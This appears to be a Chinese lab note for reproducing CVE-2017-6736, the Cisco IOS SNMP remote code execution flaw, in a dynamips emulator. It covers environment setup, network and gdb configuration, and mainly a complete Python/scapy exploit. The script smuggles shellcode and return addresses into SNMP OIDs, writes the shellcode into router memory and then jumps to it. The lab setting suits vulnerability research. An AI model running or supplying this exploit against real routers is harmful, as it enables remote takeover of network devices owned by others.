CVE-2017-6736
# PREFACE:偷点纯真的理解
# 环境配置
docker 环境 (ubuntu 15):
docker pull ubuntu:wily |
docker ps -a
docker run --cap-add=NET_ADMIN --device=/dev/net/tun -it ubuntu:wily /bin/bash
apt install git
换源到旧版 ubuntu:
sed -i 's/archive/old-releases/g' /etc/apt/sources.list
apt update
编译模拟环境 dynamips
apt-get install git | |
git clone https://github.com/Groundworkstech/dynamips-gdb-mod.git | |
cd dynamips-gdb-mod/src | |
# 安装依赖 | |
apt-get install libpcap-dev uml-utilities libelf-dev libelf1 | |
# 这里需要修改配置文件 | |
cd / | |
find . -name "libelf.a" | |
# ./usr/lib/x86_64-linux-gnu/libelf.a | |
vim Makefile |
配置网络
tunctl -t tap1 # 创建网络接口 | |
ifconfig tap1 up # 配置启用网络接口 | |
ifconfig tap1 192.168.199.139/24 up # 指定给 tap1 的 IP 地址和子网掩码 | |
# 删除 | |
ifconfig tap1 down | |
tunctl -d tap1 |
运行
dynamips -j -P 2600 -s 0:0:tap:tap1 C2600-BI.BIN |
开启 gdb server 调试
dynamips -Z 12345 -j -P 2600 -s 0:0:tap:tap1 C2600-BI.BIN |
配置:
Would you like to enter the initial configuration dialog? [yes/no]:yes
management network from the above interface summary: Ethernet0/0
ip address 192.168.199.138 255.255.255.0
重新配置方法
rm c2600_*
python c2800nm-adventerprisek9-mz.151-4.M12a.py 192.168.199.254 public 12345678 |
c2800nm-adventerprisek9-mz.151-4.M12a.py
from scapy.all import * | |
from time import sleep | |
from struct import pack, unpack | |
import random | |
import argparse | |
import sys | |
try: | |
cs = __import__('capstone') | |
except ImportError: | |
pass | |
def bin2oid(buf): | |
return ''.join(['.' + str(unpack('B',x)[0]) for x in buf]) | |
def shift(s, offset): | |
res = pack('>I', unpack('>I', s)[0] + offset) | |
return res | |
alps_oid = '1.3.6.1.4.1.9.9.95.1.3.1.1.7.108.39.84.85.195.249.106.59.210.37.23.42.103.182.75.232.81{0}{1}{2}{3}{4}{5}{6}{7}.14.167.142.47.118.77.96.179.109.211.170.27.243.88.157.50{8}{9}.35.27.203.165.44.25.83.68.39.22.219.77.32.38.6.115{10}{11}.11.187.147.166.116.171.114.126.109.248.144.111.30' | |
shellcode_start = '\x80\x00\xf0\x00' | |
if __name__ == '__main__': | |
parser = argparse.ArgumentParser() | |
parser.add_argument("host", type=str, help="host IP") | |
parser.add_argument("community", type=str, help="community string") | |
parser.add_argument("shellcode", action='store', type=str, help='shellcode to run (in hex)') | |
args = parser.parse_args() | |
sh_buf = args.shellcode.replace(' ','').decode('hex') | |
print 'Writing shellcode to 0x{}'.format(shellcode_start.encode('hex')) | |
if 'capstone' in sys.modules: | |
md = cs.Cs(cs.CS_ARCH_MIPS, cs.CS_MODE_MIPS32 | cs.CS_MODE_BIG_ENDIAN) | |
for k, sh_dword in enumerate([sh_buf[i:i+4] for i in range(0, len(sh_buf), 4)]): | |
s0 = bin2oid(sh_dword) # shellcode dword | |
s1 = bin2oid('\x00\x00\x00\x00') | |
s2 = bin2oid('\xBF\xC5\xB7\xDC') | |
s3 = bin2oid('\x00\x00\x00\x00') | |
s4 = bin2oid('\x00\x00\x00\x00') | |
s5 = bin2oid('\x00\x00\x00\x00') | |
s6 = bin2oid('\x00\x00\x00\x00') | |
ra = bin2oid('\xbf\xc2\x2f\x60') # return control flow jumping over 1 stack frame | |
s0_2 = bin2oid(shift(shellcode_start, k * 4)) | |
ra_2 = bin2oid('\xbf\xc7\x08\x60') | |
s0_3 = bin2oid('\x00\x00\x00\x00') | |
ra_3 = bin2oid('\xBF\xC3\x86\xA0') | |
payload = alps_oid.format(s0, s1, s2, s3, s4, s5, s6, ra, s0_2, ra_2, s0_3, ra_3) | |
send(IP(dst=args.host)/UDP(sport=161,dport=161)/SNMP(community=args.community,PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)]))) | |
cur_addr = unpack(">I",shift(shellcode_start, k * 4 + 0xa4))[0] | |
if 'capstone' in sys.modules: | |
for i in md.disasm(sh_dword, cur_addr): | |
color = 'green' | |
else: | |
print("0x%x:\t%s" %(cur_addr, sh_dword.encode('hex'))) | |
sleep(1) | |
ans = raw_input("Jump to shellcode? [yes]: ") | |
if ans == 'yes': | |
ra = bin2oid(shift(shellcode_start, 0xa4)) # return control flow jumping over 1 stack frame | |
zero = bin2oid('\x00\x00\x00\x00') | |
payload = alps_oid.format(zero, zero, zero, zero, zero, zero, zero, ra, zero, zero, zero, zero) | |
send(IP(dst=args.host)/UDP(sport=161,dport=161)/SNMP(community=args.community,PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)]))) | |
print 'Jump taken!' |
gdb 连接
gdb-multiarch | |
set architecture powerpc:MPC8XX | |
set endian big |
端口转发(这里用的 wsl 所以需要。。。)
socat -T 600 TCP-LISTEN:1234,fork,reuseaddr TCP:172.17.0.2:1234 & |
ida attach 进去即可
# 分析:
参考资料:CVE-2017-6736 思科 IOS 系统远程代码执行漏洞分析 - 安全客 - 安全资讯平台 (anquanke.com)